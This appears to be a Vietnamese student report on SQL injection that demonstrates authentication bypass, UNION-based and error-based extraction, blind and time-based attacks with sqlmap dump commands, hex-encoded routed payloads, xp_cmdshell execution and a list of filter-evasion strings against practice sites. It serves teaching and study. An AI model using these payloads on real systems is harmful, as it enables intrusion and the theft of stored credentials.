Tải bản đầy đủ (.docx) (30 trang)

BAOCAOANM SQL INJECTION

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.51 MB, 30 trang )

1

Mục Lục

Danh Sách Hình Ảnh


2

PHẦN 1. KHÁI QUÁT CHUNG VỀ SQL INJECTION
1.

Tổng quan về SQL
Là ngơn ngữ truy vấn mang tính cấu trúc, là một loại ngơn ngữ máy tính phổ biến
để tạo, sửa, lấy dữ liệu từ một hệ quản trị cơ sở dữ liệu quan hệ.
Hiện nay những ứng dụng phổ biến nhất và chiếm thị phần cũng như doanh thu
cao nhất đều là những ứng dụng hổ trợ tính năng quản lý. Dữ liệu là thứ sống còn trong
mọi hoạt động nghiệp vụ hiện tại. Chính vì lý do đó, các ứng dụng nghiệp vụ hiện tại
đều xây dựng trên những mơ hình phát triển gắn liền với cơ sở dữ liệu. An tồn của dữ
liệu được đặt nặng lên tính an toàn và bảo mật của ứng dụng Web kết nối tới cơ sở dữ
liệu. Các mơ hình phát triển ứng dụng Web hiện tại được sử dụng phổ biến nhất là 3-tier
(mơ hình 3 lớp), ngồi ra cịn có một số bản cải tiến, mở rộng mơ hình này nhằm những
mục đích riêng.
Các mơ hình trên ln có một số điểm chung, đó là database server chỉ làm
nhiệm vụ lưu trữ dữ liệu, database hồi đáp những truy vấn dữ liệu được xây dựng theo
chuẩn (ví dụ như SQL). Mọi thao tác xử lý dữ liệu input, output của database server đều
được ứng dụng web ở tầng Logic xử lý. Các vấn đề an ninh phát sinh đa phần sẽ nằm ở
tầng này.

2.


Khái niệm về SQL Injection
Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc
đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin
tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở
dữ liệu, webserver sẽ chạy ứng dụng,... mà quên mất

rằng ngay cả bản thân ứng

dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn. Một trong số các lỗ
hổng này đó là SQL injection. Tại Việt Nam, đã qua thời kì các quản trị website lơ
là việc quét virus, cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc
chăm sóc các lỗi của các ứng dụng lại rất ít được quan tâm. Đó là lí do tại sao
trong thời gian vừa qua, khơng ít website tại Việt Nam bị tấn công và đa số đều là
lỗi SQL injection. Vậy SQL injection là gì?
SQL Injection là một kỹ thuật điền vào những đoạn mã SQL bất hợp pháp cho phép
khai thác một lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một ứng dụng. Lỗ hổng
2


3

bảo mật này có thể xuất hiện khi ứng dụng khơng có đoạn mã kiểm tra chuỗi ký tự
thốt nhúng trong câu truy vấn SQL hoặc do sự định kiểu đầu vào không rõ ràng hay do
lỗi cú pháp SQL của lập trình viên khiến cho một đoạn mã ngoại lai có thể được xử lý
ngồi ý muốn. Nó là một ví dụ của sự rủi ro khi một ngơn ngữ lập trình hay ngơn ngữ
kịch bản được nhúng trong một ngơn ngữ khác. Tấn cơng SQL injection cịn có thể hiểu
là hình thức tấn cơng chèn bất hợp pháp các đoạn mã SQL. Lỗi này thường xảy ra trên
các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL
Server, MySQL, Oracle, DB2, Sysbase. SQL Injection là một dạng tấn công dễ thực
hiện, chỉ cần nắm được những kiến thức về các câu lệnh trong SQL và sử dụng những

câu lệnh đó để đánh lừa hệ thống ứng dụng.
Sql Injection được mô tả như là một trong những lỗ hổng bảo mật web nguy hiểm
nhất. Việc khai thác lỗ hổng này làm cơ sở cho các tấn công khác như chiếm quyền
website, chiếm quyền điều khiển server, khai thác dữ liệu, upload backdoor, virus…
SQL injection về cơ bản phải có 3 yếu tố hội tụ.


Một là tồn lại lỗi ở Application: Application tương tác với cơ sỡ dữ liệu (CSDL).
Tại đây, lập trình viên có thể mắc lỗi và cho phép ta truyền vào các câu lệnh và
tương tác với CSDL theo ý của ta. Đối với website, các phương thức request có

thể là POST hoặc GET
• Hai là quyền của CSDL: Việc truy cập được phân định quyền hạn rõ rang trong
CSDL. Tuy nhiên, hầu hết các ứng dụng không để ý điều này, làm cho việc truy
cập CSDL gần như phẳng, có nghĩa là 1 user cho tất cả.
• Ba là trả về và hiển thị: Ta truyền request, CSDL chấp nhận và hồi đáp. Hồi đáp
đã là một thành cơng. Vì tại đây, ta đã có thể lấy được dữ liệu ta muốn. Tuy
nhiên, theo cách dễ dàng nhất thì cần hiển thị. Các phương thức hiển thị kết quả
truyền về có thể là trên website, qua email, chuỗi mã…

3


4

Hình 1: Minh hoạ SQL Injection
Nguồn: />3.

Mục đích
Mục đích chính của SQL injection là truy cập vào cơ sở dữ liệu bất hợp pháp hoặc

khai thác thông tin từ các cơ sở dữ liệu đó. Dựa trên cách sử dụng và xử lý dữ liệu người
dùng cung cấp.

4.

Hậu quả của SQL Injection


Hậu quả lớn nhất mà SQL Injection gây ra là: Làm lộ dữ liệu trong database. Tuỳ vào
tầm quan trọng của dữ liệu mà hậu quả dao động ở mức nhẹ cho đến vơ cùng nghiêm
trọng.



Lộ dữ liệu khách hàng có thể ảnh hưởng rất nghiêm trọng đến cơng ty. Hình ảnh cơng
ty có thể bị ảnh hưởng, khách hàng của họ sẽ chuyển qua sử dụng dịch vụ của cơng ty
khác, dẫn đến cơng ty sẽ phá sản.



Lỗ hỗng này cũng ảnh hưởng lớn đến khách hàng. Do họ thường dùng chung một mật
khẩu cho nhiều tài khoản, chỉ cần lộ mật khẩu một tài khoản thì các tài khoản khác
cũng lộ theo.



Trong nhiều trường hợp, hacker khơng chỉ đọc được dữ liệu mà cịn có thể chỉnh sửa
dữ liệu. Lúc này hacker có thể đăng nhập dưới vai trị admin, lợi dụng hệ thống, hoặc
xố tồn bộ dữ liệu để hệ thống ngừng hoạt động.


4


5

PHẦN 2. CÁC CÁCH TẤN CÔNG PHỔ BIẾN SQL
INJECTION
1. Các cuộc tấn công SQL injection
Trên cơ sở ứng dụng và cách xử lý dữ liệu người dùng cung cấp, SQL Injection có thể
được sử dụng để thực hiện các cuộc tấn cơng sau:


Authentication Bypass: ta có thể đăng nhập vào ứng dụng mà không cần cung cấp

username và password, thậm chí có thể chiếm quyền quản trị.
• Information Disclosure: người tấn công lấy các thông tin nhạy cảm được lưu giữ
trên cơ sở dữ liệu.
• Compromised Data Integrity: thực hiện deface trang web: chèn nội dung độc hại
lên trang web, hoặc thay đổi nội dung cơ sở dữ liệu.
• Compromised Availability of Data: người tấn cơng xóa thơng tin trên cơ sở dữ


liệu, xóa log, hoặc thơng tin kiểm chứng trên cơ sở dữ liệu.
Remote Code Execution: cho phép người tấn công làm hại hệ thống của host.

2. Các dạng tấn công SQL injection
2.1. Authentication Bypass
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi
khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Xét một ví dụ điển hình, thơng thường để cho phép người dùng truy cập vào các trang web

được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập
thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ
kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay khơng để quyết định cho phép hay từ
chối thực hiện

tiếp.

tiêu là làm sao

để câu truy

vấn có giá trị

đúng trong

mọi

hợp.

trường

làm được điều
nối vào câu SQL query một mệnh đề “or” chứa giá trị luận lý “true”.
Demo:
5

Mục

Để


này, ta sẽ


6

Hình 2: Trang web thực hiện Authentication Bypass
Nguồn: />Cách khai thác:
Câu lệnh thông thường khi truy vấn = SELECT * FROM tbl_user where username =’’ and
password =’’;
Thêm vào đoạn lệnh ở login ‘ or 1 = 1 – và password là 1 ký tự bất kì
Kết quả: SELECT * FROM tbl_user where username =’’ or 1=1 – and password=’’;
Vì dấu “—“ là dấu comment trong sql nên các phần sau sql đều xem là những comment. Vì vậy
kết quả thực là: SELECT * FROM tbl_user where username =’’ or 1=1
Câu lệnh này khi thực thi sẽ là true vì:



Username =” sẽ return false
1=1 sẽ return true

Kết quả : False or True = True. Nên câu lệnh sẽ thực thi dù không cần biết mật khẩu và tên
user chính xác
Như kết quả ở hình ảnh 2 sau khi mở inspect ta sẽ có thể tìm thấy được mật khẩu.

6


7

Hình 3: Kết quả mật khẩu trả về user1

Nguồn: />Tuy nhiên, nếu chung ta để ý kĩ thì đây chỉ là tài khoản và mật khẩu của user1. Như vậy, nếu
chúng ta cần tìm tài khoản admin thì có thể áp dụng thêm một số đoạn lệnh như order by để sắp
xếp và có thể tìm thấy được.
Ví dụ như đoạn lệnh trên ta có thể thêm vào : ‘ or 1 = 1 order by 1 asc – và password là kí tự
bất kì
Kết quả:

Hình 4: Kết quả của admin
7


8

Hình 5: Kết quả mật khẩu của admin
Nguồn: />
2.2. Tấn công bằng Select và Union
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn cơng
phải có khả năng hiểu, am hiểu về cấu trúc dữ liệu và lợi dụng các sơ hở trong các thơng
báo lỗi từ hệ thống để dị tìm các điểm yếu khởi đầu cho việc tấn công.
Dữ liệu nhạy cảm mà ta thường nhắm tới là các tài khoản có quyền cao nhất như admin
của website. Loại này hacker thường sử dụng các câu lệnh select để trực tiếp truy vấn vào cơ
sở dữ liệu
Demo: Ta muốn lấy thông tin username và pass của trang web:
/>
Hình 6: Trang web thực hiện tấn công bằng Select và Union
Nguồn: />Cách tấn công:

8



9

Sử dụng câu lệnh = union select all 1,2,… để kiểm tra số cột. Trong trường hợp web này thì số
cột là 8. Vì vậy câu lệnh thêm vào sẽ là union select all 1,2,3,4,5,6,7,8
Kết quả trả về cột 3 và 5 có thể truy xuất dữ liệu từ đây

Hình 7: Kết quả trả về số cột có thể khai thác thông tin
Nguồn: union select all
1,2,3,4,5,6,7,8
Thử truyền một vài câu lệnh cơ bản như:@@version ( để xem version hiện tại ), database() (để
xem tên của cơ sở dữ liệu)
Kết quả đạt được:

9


10

Hình 8: Kết quả trả về version của database
Nguồn: union select all
1,2,@@version,4,5,6,7,8

Hình 9: Kết quả trả về tên database
Nguồn: union select all
1,2,database(),4,5,6,7,8
Tiếp theo: sử dụng câu lệnh: union select all 1,2,group_concat(table_name),3,4,5,6,7,8 from
information_schema.tables where table_schema=database() --. Dùng để lấy tra tên các bảng
có trong database
Kết quả đạt được: Một loạt các tên bảng. Trong đó bảng cần để khai thác đươc username và
password nằm ở bảng users


Hình 10: Kết quả trả về các table của database
10


11

Nguồn: union select all
1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where
table_schema=database()-Tiếp tục lấy các column trong bảng users bằng câu lệnh: union select all
1,2,group_concat(column_name),4,5,6,7,8

from

information_schema.columns

where

table_name =’users’.
Kết quả ta được là thơng báo lỗi. Có thể web này đã được chặn từ khóa ‘users’

Hình 11: Thơng báo lỗi khi bị chặn 'users'
Nguồn: union select all
1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where
table_name=%27users%27—
Vì vậy ta chuyển users sang mã hex là 7573657273 và thực hiện tại câu lệnh. Kết quả đạt được
các cột dữ liệu như hình 12

Hình 12: Kết quả trả về các column
11



12

Nguồn: union select all
1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where
table_name=0x7573657273—
Tiếp tục truy vấn username và password ở bảng user này lệnh: union select all
1,2,group_concat(username,0x3a,password),4,5,6,7,8 from users

Hình 13:Kết quả username và password
Nguồn: union select all
1,2,group_concat(username,0x3a,password),4,5,6,7,8 from users
Kết quả cuối cùng ta được: username: admin và password: adminfuna01
2.3. Error based SQL Injection
Dạng tấn công này, ứng dụng web sẽ hiển thị thông báo lỗi khi có truy vấn giả mạo, kẻ
tấn cơng sẽ dựa vào lỗi này để tiếp tục tấn công.
Thông báo lỗi trả về thường dựa trên cấu trúc của dữ liệu. Từ đây có thể bắt đầu 1 cuộc
tấn cơng.
Cách tấn cơng:
Demo:
Ta sẽ dựa vào error based SQL Injection để tấn công trang web này.

12


13

Hình 14: Trang web thực hiện tấn công theo error based
Nguồn: />Thử tiêm vào đường dẫn một vài cấu trúc hay kí tự đặc biệt.

Kết quả:

Hình 15: Thơng báo lỗi theo cấu trúc CSDL
Nguồn: />Kết quả trả về là một thông báo lỗi dựa trên cấu trúc. Ở cấu trúc này ta thấy database có
tồn tại bảng contents. Và có thể sẽ chứa một bảng chứ thông tin username và password ở trong
database. Tiếp tục tiến hành truy xuất các dữ liệu của database.
Ở trường hợp này chúng ta sử dụng Sqlmap để tiến hành truy xuất dữ liệu
Tại cmd.exe gõ lệnh : sqlmap.py -u “ />action=
13


14

contents&order=ASC” –dbs. Kết quả thu được các database

Hình 16: Các database thu được sau sqlmap
Tiếp tục lấy các dữ liệu từ database bằng câu lệnh: sqlmap.py -u " -D public --tables
Ở database public ta thu được bảng contents và bảng m3mbr35t4bl3. Khớp với lỗi như hình 15

14


15

Hình 17: Các table thu được sau sqlmap
Như vậy, có khả năng username và password nằm trong bảng m3mbr35t4bl3. Truy xuất các
dữ liệu từ bảng này bằng câu lệnh: sqlmap.py -u " -D public -T m3mbr35t4bl3 –dump. Kết
quả thu được username và password

15



16

Hình 18: Kết quả thu được username và password của admin

2.4. Blind SQL Injection
Blind SQL Injection là một phương pháp thực hiện tấn công SQL Injection trong điều
kiện các thông tin khai thác khơng được trình bày trực tiếp trên nội dung phản hồi từ database.
Cuộc tấn công này không phụ thuộc vào sự có mặt của các thơng báo lỗi, mà dựa vào việc sử
dụng các mệnh đề điều kiện để thực hiện suy luận thông tin cần khai thác. Cụ thể, Blind SQL
Injection sử dụng chính xác các thông tin cần khai thác làm mệnh đề điều kiện (mệnh đề suy
luận) và sử dụng các phương pháp khác nhau để đánh dấu trường hợp đúng/sai của mệnh đề đó.
Giống như bất kỳ tấn cơng SQL Injection nào, Blind SQL Injection cũng được sử dụng để khai
thác, phá hủy thơng tin và trích xuất dữ liệu.
Khơng giống như các cuộc tấn công SQL Injection thông thường, các cuộc tấn cơng
Blind SQL Injection tốn nhiều thời gian hơn bởi vì mỗi khi có thơng tin mới thì các câu lệnh
mới phải được tạo ra mà khơng có sự phản hồi từ ứng dụng.
Các Blind SQL injection thường được sử dụng để xây dựng lược đồ cơ sở dữ liệu và lấy
tất cả dữ liệu trong cơ sở dữ liệu. Điều này được thực hiện bằng cách sử dụng các kỹ thuật
brute force và yêu cầu nhiều requests nhưng có thể được tự động hóa bởi những kẻ tấn cơng sử
dụng các công cụ SQL injection như: SQLmap
Cách tấn công:

16


17

Demo:


Hình 19: Trang web thực hiện tấn công bằng Blind SQL Injection
Nguồn: />Đây là trang web chứa Blind Sql Injection. Khi nhập một vài câu lệnh như select , union thì đều
xuất hiện ra thông báo Injection detected.
Để tấn công trang web này ta sẽ bắt gói request của trang web để truy xuất database
Sử dụng phần mền Burp Suite và tool Sqlmap để hổ trợ
Vào ứng dụng Burp Suite, chọn tap Proxy và mở trang web cần tấn công, nhập vào username
và password bất kỉ để gởi request:
Kết quả đạt được một gói POST
Copy tồn bộ gói Post này vào 1 file hack.txt. Tiếp tục vào cmd.exe để thực thiện truy xuất
database bằng sqlmap.

17


18

Câu lệnh sqlmap.py -r C:\Sqlmap\hack.txt –tables. Kết quả thu được các tables. Trong đó có
table user chứa thơng tịn admin và password

Hình 20: Burp Suite lấy được gói POST
Hình 21: Kết quả trả về các table
Sử dung câu lệnh sqlmap.py -r C:\SQLMap\hack.txt -T users –dump để lấy thông tin admin.

Hình 22: Kết quả trả về danh sách các user và password

2.5. Time-based Blind Injection
Time-base Blind SQLi là kĩ thuật tấn công dựa vào việc gửi những câu truy vấn tới cơ
sở dữ liệu và buộc cơ sở dữ liệu phải chờ một khoảng thời gian (thường tính bằng giây) trước
khi phản hồi.

18


19

Thời gian phản hồi (ngay lập tức hay trễ theo khoảng thời gian được set) cho phép kẻ
tấn công suy đoán kết quả truy vấn là TRUE hay FALSE
Cách tấn công:
Demo:

Hình 23:Trang web thực hiện tấn công bằng time-based SQL Injection
Nguồn: />Trang web trên có thể khai thác dựa trên Time-based Blind Injection
Sử dụng Sqlmap để hổ trợ tấn công
Gõ lệnh :sqlmap.py -u “ />member&member=1 “–time-sec=10 –dbs
Kết quả trả về tồn tại 1 database public

19


20

Hình 24: Kết quả trả về database
Tiếp tục gõ lệnh: sqlmap.py -u “ />member&member=1 “ –time-sec=10 -D public –tables. Để truy xuất các tables của database
này.
Kết quả trả về table users

Hình 25: Kết quả trả về table
Dùng lệnh: sqlmap.py -u “ />ber&member=1 “ –time-sec=10 -D public -T users –columns để lấy các column trong bảng
Kết quả trả về: danh sách các column như hình 26. Trong đó hai thơng thin cần khai thác chình
là username và password

Dùng lệnh:sqlmap.py -u sqlmap.py -u “ />action=member&member=1 “ –time-sec=10 -D public -T users -C username,password –
dump để truy xuất các thông tin về username và password như hình 27

20


21

Hình 26: Kết quả trả về các column
Hình 27:Kết quả thu được các username và password

2.6. SQL Injection – Routed
SQL Injection-Routed ngày càng trở nên phổ biến trong thực tế. Khơng dễ dàng nhận
thấy điều đó khi chạy một truy vấn. Đầu ra của truy vấn đầu tiên, truy vấn mà đang chạy, được
sử dụng làm đầu vào cho truy vấn thứ hai. Truy vấn thứ hai sẽ hiển thị kết quả cho bạn với tư
cách là người dùng. Vì vậy, có nhiều truy vấn hiện tại cần nhau để hoạt động.
Ví dụ: Đây là 1 câu truy vấn routed
SELECT MAGV, HOTEN
FROM GIAOVIEN
WHERE MAGV NOT IN (SELECT MAGV
FROM THAMGIADT)
Demo:
Cách tấn công:
Để tấn công loại này ta cần truyền vào 2 câu truy vấn

21


22


Hình 28:Trang web thực hiện tấn công bằng SQL Injection-Routed
Nguồn: />Trang web này chứa cơ cở dữ liệu có thể khai thác dựa trên SQL Injection – Routed
Ta thử truyền vào câu lệnh ‘ union select ‘ order by 3 -- - -- - thì thơng báo Attack dectected
Rất có thể câu lệnh sau đã bị chặn nên chuyển câu lệnh sau sang mã hex và tiếp tục truy vấn
Câu lệnh : ‘ union select 0x27206F726465722062792033202D2D202D -- -.
Kết quả thu được: Khơng có cột 3, vậy chỉ có 2 cột là username và password

Hình 29:Kết quả trả về sau khi truy vấn bằng mã hex
Nguồn: />Tiếp tục truyền các câu lệnh: ' union select ' union select 1,table_name from
information_schema.tables where table_schema = database() -- - -- Và đương nhiên sẽ chuyển sang mã Hex:
22


23

'union select 0x2720756E696F6E2073656C65637420312C7461626C655F6E616D65206672
6F6D20696E666F726D6174696F6E5F736368656D612E7461626C657320776865726520746
1626C655F736368656D61203D2064617461626173652829202D2D202D -- Kết quả thu được table users. Tiếp tục truy vấn các column trong users bằng lệnh: ' Union
select ' union select all 1,group_concat(column_name) from information_schema.columns
where table_name = 'users' -- Chuyển sang Hex:
‘union

select

0x2720756E696F6E2073656C65637420616C6C20312C67726F75705F636F6E
63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736
368656D612E636F6C756D6E73207768657265207461626C655F6E616D65203D202775736
572732720202D2D202D -- Kết quả thu được các column như hình 31

Hình 30: Kết quả thu được table user

Hình 31:Kết quả thu được các column
Nguồn: />Cuối cùng chỉ cần lấy các giá trị từ các column ra, sẽ thu được password của admin
Câu lệnh: ' Union select ' union select all 1,group_concat(login,0x3a,password) from users
-- Chuyển hex: ' Union select 0x2720756E696F6E2073656C65637420616C6C20312C6772
6F75705F636F6E636174286C6F67696E2C307833612C70617373776F7264292066726F6D
207573657273202D2D202D -- 23


24

Kết quả thu được mật khẩu của admin

Hình 32: Kết quả thu được username và password
Nguồn: />
2.7. Stored-Procedure
Trong dạng tấn công này, kẻ tấn công cố gắng thi hành trên các thủ tục lưu trữ có trong
cơ sở dữ liệu. Hầu hết các doanh nghiệp đều gửi cơ sở dữ liệu qua một thủ tục lưu trữ tiêu
chuẩn để mở rộng các chức năng của cơ sở dữ liệu và cho phép tương tác với hệ điều hành. Vì
vậy, một khi kẻ tấn công xác định được ứng dụng đang sử dụng cơ sở dữ liệu back-end nào, các
cuộc tấn công sẽ được tạo ra để thi hành trên các thủ tục lưu trữ đã được cung cấp bởi cơ sở dữ
liệu vừa xác định. Ngồi ra, vì các thủ tục lưu trữ được viết trên một ngôn ngữ kịch bản đặc
biệt, chúng có thể cịn tồn tại các lỗ hổng khác, chẳng hạn như tràn bộ đệm; lỗ hổng này cho
phép kẻ tấn công thự thi câu lệnh từ xa hoặc thực thi với quyền quản trị của hệ thống. Việc tấn
cống này sẽ gây tác hại rất lớn nếu ứng dụng bị thực thi với quyền quản trị hệ thống.
Ví dụ: nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: '. Lúc này hệ
thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server.
Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. Nếu cài SQL Server ở chế độ
mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows.
Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi
những câu lệnh xem nội dung thông tin trong máy nạn nhân:

24


25

-

Xp_availablemedia: Hiển thị những ổ đĩa hiện hành trên máy

-

Xp_dirtree: Hiển thị tất cả các thư mục kể cả thư mục con

-

Xp_loginconfig: Lấy thông tin về chế độ bảo mật trên server

-

Xp_makecab: Cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập

tin nào mà server có thể truy xuất)
-

Xp_ntsec_enumdomain: liệt kê những domain mà server có thể truy vấn.

2.8. Các kĩ thuật tấn cơng nâng cao

25




/*!50000UNION*/



%55nion(%53elect)



/*!50000UniON SeLeCt*/



union%20distinct%20select



union%20%64istinctRO%57%20select



union%2053elect



%23?%0auion%20?%23?%0aselect




%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect



%55nion %53eLEct



u%6eion se%6cect



unio%6e %73elect



unio%6e%20%64istinc%74%20%73elect



uni%6fn distinct%52OW s%65lect



%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74



Dùng hex và unhex. Ví dụ: unhex(hex(concat(table_name))) hoặc 0x“ mã hex”




Dùng Convert. Ví dụ: convert(table_name using ascii)



Thay khoảng trắng bằng dấu “+”


Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×